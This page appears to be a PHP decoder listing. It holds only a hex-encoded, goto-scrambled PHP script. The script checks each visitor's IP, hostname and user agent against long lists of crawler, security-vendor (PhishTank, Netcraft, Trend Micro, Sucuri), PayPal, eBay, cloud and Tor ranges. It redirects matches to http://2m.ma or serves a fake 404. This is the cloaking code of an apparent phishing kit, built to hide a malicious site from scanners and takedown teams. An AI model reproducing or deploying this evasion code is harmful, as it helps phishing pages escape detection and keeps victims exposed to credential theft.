PHP Decode

goto RcSTw; Th22w: if (!empty($_SERVER["\x48\124\124\x50\137\125\x53\x45\x52\137\101\x47\105\x4e\x54"])) { $c3d1b = array("\x47\157\157\147\154\x65", "\x53\154\165\162\x70", "\x4d\123\x4e\102\x6f\164", "\x69\141\x5f\141\x72\x63\x68\151\166\145\x72", "\131\x61\x6e\x64\x65\x78", "\122\x61\155\x62\x6c\145\162"); foreach ($c3d1b as $cef6a) { if (strpos($_SERVER["\110\x54\x54\x50\137\x55\123\x45\x52\x5f\x41\x47\105\x4e\x54"], $cef6a) !== false) { die(header("\114\157\x63\x61\x74\x69\x6f\156\x3a\40\x68\164\164\x70\72\x2f\x2f\62\x6d\x2e\x6d\x61")); } } } goto nxCn3; OrQqP: foreach ($f6650d6e as $e540ca) { if (substr_count($e5bd3f5f, $e540ca) > 0) { header("\114\157\143\x61\x74\151\157\156\x3a\x20\x68\x74\164\160\72\57\x2f\x32\x6d\x2e\155\x61"); echo "\x3c\150\x31\76\x34\x30\64\x20\116\157\x74\40\106\157\x75\x6e\x64\x3c\57\150\61\x3e\124\150\x65\x20\x70\141\x67\145\40\x74\150\141\164\40\x79\157\165\40\x68\x61\x76\145\x20\162\145\x71\x75\145\163\164\145\x64\x20\143\x6f\165\154\x64\x20\156\157\164\x20\x62\145\40\x66\x6f\x75\x6e\144\56"; } } goto Th22w; Q7kdk: $f6650d6e = array("\x64\162\167\145\x62", "\150\157\163\x74\x69\x6e\147\x65\162", "\163\143\x61\x6e\165\162\x6c", "\141\x62\157\x76\145", "\x67\157\x6f\x67\154\x65", "\104\162\56\127\x65\142", "\146\x61\x63\145\142\157\157\153", "\x73\157\146\164\x6c\141\x79\145\162", "\141\155\141\x7a\x6f\156\x61\x77\163", "\143\x79\x76\145\x69\154\154\141\x6e\143\x65", "\144\162\x65\x61\x6d\x68\157\163\164", "\156\x65\164\160\151\x6c\157\x74", "\143\141\x6c\x79\x78\151\x6e\163\164\151\x74\x75\x74\x65", "\x74\x6f\x72\55\145\170\x69\164", "\160\x68\151\163\150\164\141\x6e\x6b", "\155\163\x6e\x62\157\164", "\x70\x33\x70\x77\147\144\x73\156", "\156\145\164\143\162\141\x66\x74", "\x74\162\145\x6e\x64\x6d\x69\143\162\157", "\x65\142\141\x79", "\x70\141\171\x70\x61\x6c", "\x74\157\x72\163\145\162\166\145\162\x73", "\155\x65\163\x73\141\x67\x65\154\x61\x62\x73", "\163\x75\143\x75\162\x69\x2e\x6e\x65\164", "\143\162\141\x77\154\145\162"); goto OrQqP; tn9Fr: $e5bd3f5f = gethostbyaddr($c28dd9c); goto Q7kdk; RcSTw: $c28dd9c = $_SERVER["\x52\105\x4d\x4f\x54\105\x5f\x41\104\104\122"]; goto LJJH2; LJJH2: $c97e57ec = array("\x5e\61\70\x35\x2e\x31\67\56\61\x30\x37\x2e\x38\65", "\136\62\60\x37\56\x32\x34\64\56\71\61\x2e\61\70\x30", "\x5e\61\70\x35\56\62\60\66\56\62\x32\64\56\x34\66", "\136\x31\x36\61\x2e\63\x35\x2e\62\64\66\x2e\61\x33\x38", "\136\66\x36\56\x31\x30\62\56\52\x2e\52", "\136\x33\70\56\61\x30\x30\x2e\x2a\x2e\x2a", "\x5e\61\x30\x37\x2e\x31\67\x30\56\52\x2e\52", "\136\x31\64\71\x2e\x32\60\56\52\56\52", "\136\63\x38\56\61\x30\65\56\x2a\56\52", "\136\x31\x37\63\x2e\x32\63\x39\x2e\x2a\56\52", "\x5e\61\67\x33\x2e\x32\64\64\56\x33\x36\56\52", "\136\x37\64\56\61\x32\65\x2e\52\56\x2a", "\x5e\x36\66\56\61\65\60\56\x31\x34\56\52", "\x5e\x35\x34\56\x31\x37\x36\56\52\x2e\52", "\x5e\x33\70\x2e\x31\x30\x30\x2e\x2a\x2e\52", "\x5e\61\70\64\x2e\61\67\63\56\x2a\x2e\x2a", "\136\66\66\56\x32\x34\x39\56\52\56\52", "\136\x31\x32\x38\x2e\62\64\x32\56\x2a\x2e\52", "\x5e\x37\62\x2e\x31\64\56\x31\x39\62\56\x2a", "\136\62\60\70\56\66\65\56\61\x34\x34\x2e\x2a", "\136\x37\x34\x2e\x31\62\65\x2e\x2a\x2e\x2a", "\136\x32\x30\71\56\70\x35\56\x31\62\x38\x2e\52", "\136\x32\61\66\56\62\63\71\x2e\63\x32\x2e\52", "\136\x37\64\56\61\62\x35\56\52\x2e\x2a", "\136\x32\60\x37\x2e\x31\62\x36\56\61\x34\64\x2e\52", "\136\61\x37\x33\56\x31\71\64\x2e\x2a\x2e\52", "\x5e\66\x34\x2e\x32\x33\63\x2e\x31\66\x30\x2e\52", "\x5e\x37\x32\x2e\x31\x34\x2e\61\71\62\56\52", "\x5e\66\x36\x2e\x31\60\x32\x2e\52\x2e\52", "\x5e\66\64\x2e\61\70\56\52\x2e\x2a", "\x5e\61\x39\x34\x2e\65\62\56\x36\x38\56\52", "\x5e\61\71\x34\x2e\x37\62\x2e\x32\63\x38\x2e\x2a", "\136\66\62\x2e\61\61\66\x2e\62\60\x37\56\x2a", "\136\62\61\62\x2e\65\60\x2e\61\71\x33\56\x2a", "\136\66\x39\x2e\x36\65\56\x2a\56\52", "\136\x35\x30\56\x37\56\52\x2e\x2a", "\x5e\x31\63\x31\56\x32\61\62\x2e\x2a\56\x2a", "\136\x34\x36\x2e\x31\61\66\56\52\x2e\x2a\40", "\136\x36\x32\56\71\60\56\x2a\x2e\x2a", "\136\x38\x39\56\61\63\x38\x2e\52\x2e\x2a", "\136\70\62\x2e\61\x36\x36\56\x2a\56\x2a", "\x5e\70\x35\56\x36\64\56\x2a\56\x2a", "\136\x38\65\x2e\x32\x35\60\x2e\x2a\56\52", "\136\70\71\56\x31\63\70\x2e\x2a\56\52", "\x5e\71\x33\56\x31\x37\62\56\x2a\56\52", "\136\x31\60\x39\56\x31\x38\x36\56\52\x2e\x2a", "\x5e\61\71\x34\x2e\x39\60\x2e\x2a\x2e\52", "\136\x32\61\x32\56\x32\x39\56\x31\x39\62\x2e\52", "\136\62\x31\62\56\x32\x39\56\x32\x32\x34\56\52", "\136\x32\x31\x32\x2e\x31\64\63\56\x2a\x2e\x2a", "\136\62\x31\62\x2e\x31\65\60\x2e\52\x2e\x2a", "\136\62\61\62\x2e\62\63\x35\56\52\x2e\x2a", "\x5e\x32\x31\67\56\x31\x33\x32\x2e\x2a\56\52", "\x5e\x35\60\x2e\x39\67\x2e\x2a\x2e\52", "\136\62\x31\x37\56\61\x33\62\56\52\x2e\52", "\x5e\x32\60\x39\x2e\x38\65\56\x2a\x2e\x2a", "\136\x36\66\56\62\x30\x35\56\x36\x34\56\x2a", "\136\x32\x30\x34\x2e\61\x34\56\x34\70\56\52", "\x5e\x36\x34\x2e\x32\67\56\x32\56\x2a", "\x5e\66\x37\x2e\x31\x35\56\x2a\56\52", "\x5e\x32\x30\62\x2e\x31\x30\70\x2e\x32\65\x32\x2e\x2a", "\136\x31\71\x33\56\64\x37\56\x38\60\56\52", "\136\x36\64\x2e\66\62\x2e\x31\63\x36\x2e\x2a", "\136\66\x36\x2e\x32\x32\x31\56\52\56\52", "\136\x36\x34\56\x36\62\56\61\x37\65\56\x2a", "\136\61\71\x38\56\x35\x34\56\x2a\56\52", "\x5e\x31\x39\x32\x2e\61\x31\x35\x2e\x31\63\64\x2e\52", "\136\62\x31\66\56\62\x35\x32\x2e\61\x36\x37\56\x2a", "\x5e\x31\71\x33\x2e\62\65\x33\56\61\71\x39\x2e\52", "\x5e\66\x39\x2e\66\61\x2e\x31\x32\56\x2a", "\x5e\66\x34\56\x33\x37\56\x31\x30\x33\56\52", "\136\x33\x38\x2e\x31\64\64\x2e\x33\66\56\52", "\x5e\x36\64\x2e\61\x32\x34\56\x31\64\x2e\x2a", "\136\x32\60\x36\x2e\62\x38\56\x37\x32\x2e\52", "\136\62\x30\x39\56\x37\63\56\62\62\70\x2e\52", "\136\x31\65\70\56\61\60\x38\x2e\x2a\56\x2a", "\x5e\x31\66\x38\x2e\61\70\70\x2e\52\x2e\x2a", "\136\x36\x36\x2e\62\x30\x37\56\x31\x32\x30\56\52", "\136\x31\66\x37\x2e\x32\64\56\x2a\56\52", "\136\61\x39\x32\x2e\61\61\70\56\64\x38\56\x2a", "\136\x36\x37\x2e\x32\x30\x39\56\61\x32\70\x2e\52", "\x5e\61\x32\x2e\x31\x34\x38\x2e\x32\x30\x39\56\x2a", "\x5e\61\x32\56\61\x34\x38\56\61\71\x36\56\x2a", "\x5e\x31\71\x33\56\x32\62\x30\56\61\67\x38\x2e\52", "\66\70\x2e\x36\x35\x2e\65\x33\56\x37\61", "\136\61\71\70\56\62\x35\56\x2a\56\x2a", "\136\x36\64\x2e\61\x30\x36\x2e\62\61\x33\x2e\52", "\61\67\63\x2e\x32\63\71\56\62\64\x30\56\61\64\x37", "\x31\60\x33\56\x32\x34\x38\56\61\67\x32\x2e\64\x32", "\70\67\x2e\x31\61\63\x2e\71\66\56\x39\x30", "\x31\66\x35\56\x32\62\67\56\x30\x2e\x31\x32\x38", "\61\70\x35\x2e\x32\62\71\x2e\61\x39\60\x2e\x31\x34\60", "\61\66\65\x2e\x32\62\x37\x2e\60\x2e\61\62\x38", "\64\x36\56\x31\x30\x31\x2e\71\x34\x2e\x31\66\63", "\61\66\65\x2e\62\x32\x37\x2e\63\x39\56\x31\x39\x34", "\x38\x37\x2e\61\x31\63\x2e\x39\x36\56\x39\x30", "\x34\66\56\61\x30\x31\x2e\61\x31\71\x2e\x32\64", "\70\62\x2e\x31\60\x32\x2e\62\x37\56\x37\x35", "\61\x37\63\56\x32\x33\x39\x2e\62\x33\60\x2e\71\67", "\x38\x32\56\61\x30\62\x2e\62\67\56\67\65", "\x38\67\x2e\x31\61\63\56\71\x36\56\71\x30", "\64\66\x2e\61\x30\61\x2e\61\61\x39\56\x32\x34", "\61\x37\x33\x2e\62\x33\71\x2e\x32\63\60\56\71\x37", "\x38\67\56\x31\61\x33\x2e\71\66\56\71\x30", "\x38\67\56\x31\x31\x33\56\x39\x36\x2e\x39\x30", "\x31\x35\x39\x2e\x32\x30\63\x2e\60\x2e\x31\65\66", "\61\x36\62\x2e\x32\64\x33\56\x31\70\x37\56\x31\x32\x36", "\x38\62\56\61\x30\62\56\x32\67\x2e\x37\x35", "\x38\67\56\61\61\x33\56\x39\66\56\x39\x30", "\61\60\x33\56\x32\64\70\56\61\67\62\x2e\x34\x32", "\x31\x30\63\56\x32\64\x38\56\x31\67\x32\56\x34\x32", "\x34\x37\x2e\63\60\56\x31\x33\63\x2e\x38\71", "\x31\x30\x33\x2e\62\x34\x38\x2e\61\x37\62\x2e\64\x32"); goto b62ym; b62ym: if (in_array($c28dd9c, $c97e57ec)) { die(header("\x4c\x6f\x63\x61\x74\151\x6f\156\72\40\150\164\164\x70\x3a\57\57\62\155\56\155\141")); } else { foreach ($c97e57ec as $a4ade) { if (preg_match("\57" . $a4ade . "\57", $c28dd9c)) { header("\x4c\157\143\x61\x74\x69\157\x6e\72\40\x68\164\164\x70\x3a\x2f\x2f\x32\155\56\x6d\x61"); echo "\74\150\61\x3e\64\x30\64\40\116\x6f\164\40\106\157\x75\156\x64\74\57\150\61\x3e\x54\150\x65\x20\x70\x61\147\145\40\x74\x68\141\164\40\171\157\165\x20\x68\141\x76\x65\40\x72\x65\x71\165\145\x73\164\145\x64\x20\x63\157\x75\x6c\x64\x20\156\x6f\164\40\142\x65\x20\x66\x6f\165\156\x64\56"; } } } goto tn9Fr; nxCn3: